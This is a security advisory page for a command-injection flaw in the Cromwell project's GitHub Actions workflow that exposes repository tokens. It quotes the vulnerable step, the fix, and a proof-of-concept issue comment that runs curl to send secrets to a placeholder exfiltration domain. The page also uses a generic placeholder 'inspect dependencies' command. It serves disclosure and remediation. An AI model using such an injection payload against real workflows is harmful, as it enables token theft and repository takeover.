GHSA-phf6-hm3h-x8qp: Broadinstitute/cromwell Cromwell GitHub Actions Secrets Exfiltration Vulnerability

CRITICAL
CVSS 9.1
CWE-78
Published
Advisory Summary

GHSA-phf6-hm3h-x8qp is a CRITICAL (CVSS 9.1) cromwell github actions secrets exfiltration vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Broadinstitute/cromwell libraries in the GitHub Actions ecosystem. The issue involves cromwell github actions secrets exfiltration via `issue_comment`. Remediation is available by upgrading affected packages to version 90.

GHSA-phf6-hm3h-x8qp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-phf6-hm3h-x8qp
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Broadinstitute/cromwell
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-phf6-hm3h-x8qp

To remediate this vulnerability, upgrade all affected Broadinstitute/cromwell dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

broadinstitute/cromwell fixed: 90
Upgrade broadinstitute/cromwell to 90
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for broadinstitute/cromwell

How to Check if You Are Affected

To determine whether your application is affected by GHSA-phf6-hm3h-x8qp, inspect your project dependencies for Broadinstitute/cromwell:

inspect dependencies for broadinstitute/cromwell

Analyze the terminal output to locate any version of Broadinstitute/cromwell in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 90), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Broadinstitute/cromwell, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Using `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret: - `BROADBOT_GITHUB_TOKEN ` ### Details The `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script. ``` - name: Check for ScalaFmt Comment id: check-comment run: | if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then echo "::set-output name=comment-triggered::true" else echo "::set-output name=comment-triggered::false" fi ``` In this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. ### PoC To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`. ``` test" == "test" ]]; then & curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null # ``` To prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes. <img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" /> ### Impact Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. ``` GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Models: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write ``` We also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`. We suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap. ### Fix - Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like: ``` - name: Dump comment run: echo "Comment Body: $BODY" env: BODY: ${{ github.event.comment.body }} ``` This safely passes the comment as an environment variable rather than interpolating it in-place. - Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues: ``` permissions: issues: write ``` Kindly reported by @darryk10 @AlbertoPellitteri @loresuso

GHSA-phf6-hm3h-x8qp Affected Broadinstitute/cromwell Versions

1 component(s)
Fixed Versions:
90
Product / Package Ecosystem Affected Versions Fixed Version
broadinstitute/cromwell
GitHub Actions
≥ 87
< 90
90

References

Frequently Asked Questions

What is GHSA-phf6-hm3h-x8qp?
GHSA-phf6-hm3h-x8qp is a security vulnerability in Broadinstitute/cromwell involving Cromwell GitHub Actions Secrets exfiltration via `Issue_comment` under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Broadinstitute/cromwell versions are affected?
Affected versions include releases prior to 90 across affected packages: broadinstitute/cromwell.
What version fixes GHSA-phf6-hm3h-x8qp?
Upgrading to 90 (or the latest patched release for your respective branch) resolves the vulnerability.
Is broadinstitute/cromwell affected?
Yes, broadinstitute/cromwell is affected in releases prior to 90. Upgrade your dependency to 90 or later.
What is the CVSS score of GHSA-phf6-hm3h-x8qp?
GHSA-phf6-hm3h-x8qp has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-phf6-hm3h-x8qp?
GHSA-phf6-hm3h-x8qp is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check GitHub Actions dependencies for GHSA-phf6-hm3h-x8qp?
Run the dependency tree command: 'inspect dependencies for broadinstitute/cromwell'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-phf6-hm3h-x8qp",
  "modified" : "2025-05-28T14:55:02Z",
  "published" : "2025-05-28T14:54:20Z",
  "aliases" : [ ],
  "summary" : "Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`",
  "details" : "### Summary\nUsing `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:\n- `BROADBOT_GITHUB_TOKEN `\n\n### Details\nThe `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.\n```\n      - name: Check for ScalaFmt Comment\n        id: check-comment\n        run: |\n          if [[ \"${{ github.event_name }}\" == \"issue_comment\" && \"${{ github.event.comment.body }}\" == *\"scalafmt\"* ]]; then\n            echo \"::set-output name=comment-triggered::true\"\n          else\n            echo \"::set-output name=comment-triggered::false\"\n          fi\n```\nIn this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. \n\n### PoC\nTo exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.\n```\ntest\" == \"test\" ]]; then\n  & curl -s -d \"$B64_BLOB\" \"https://$YOUR_EXFIL_DOMAIN/token\" > /dev/null # \n```\nTo prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.\n\n<img width=\"1603\" alt=\"Screenshot 2025-05-20 at 23 17 14\" src=\"https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf\" />\n\n\n### Impact\nUsually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. \n```\nGITHUB_TOKEN Permissions\n  Actions: write\n  Attestations: write\n  Checks: write\n  Contents: write\n  Deployments: write\n  Discussions: write\n  Issues: write\n  Metadata: read\n  Models: read\n  Packages: write\n  Pages: write\n  PullRequests: write\n  RepositoryProjects: write\n  SecurityEvents: write\n  Statuses: write\n```\nWe also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.\nWe suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.\n\n### Fix\n\n- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:\n\n```\n- name: Dump comment\n  run: echo \"Comment Body: $BODY\"\n  env:\n    BODY: ${{ github.event.comment.body }}\n```\nThis safely passes the comment as an environment variable rather than interpolating it in-place.\n\n- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:\n```\npermissions:\n  issues: write\n```\n\nKindly reported by @darryk10 @AlbertoPellitteri @loresuso",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "broadinstitute/cromwell"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "87"
      }, {
        "fixed" : "90"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/broadinstitute/cromwell/security/advisories/GHSA-phf6-hm3h-x8qp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/broadinstitute/cromwell/commit/dc2c26abd31149e296f73ce4e43a36c0c0317b0d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/broadinstitute/cromwell"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-28T14:54:20Z",
    "nvd_published_at" : null
  }
}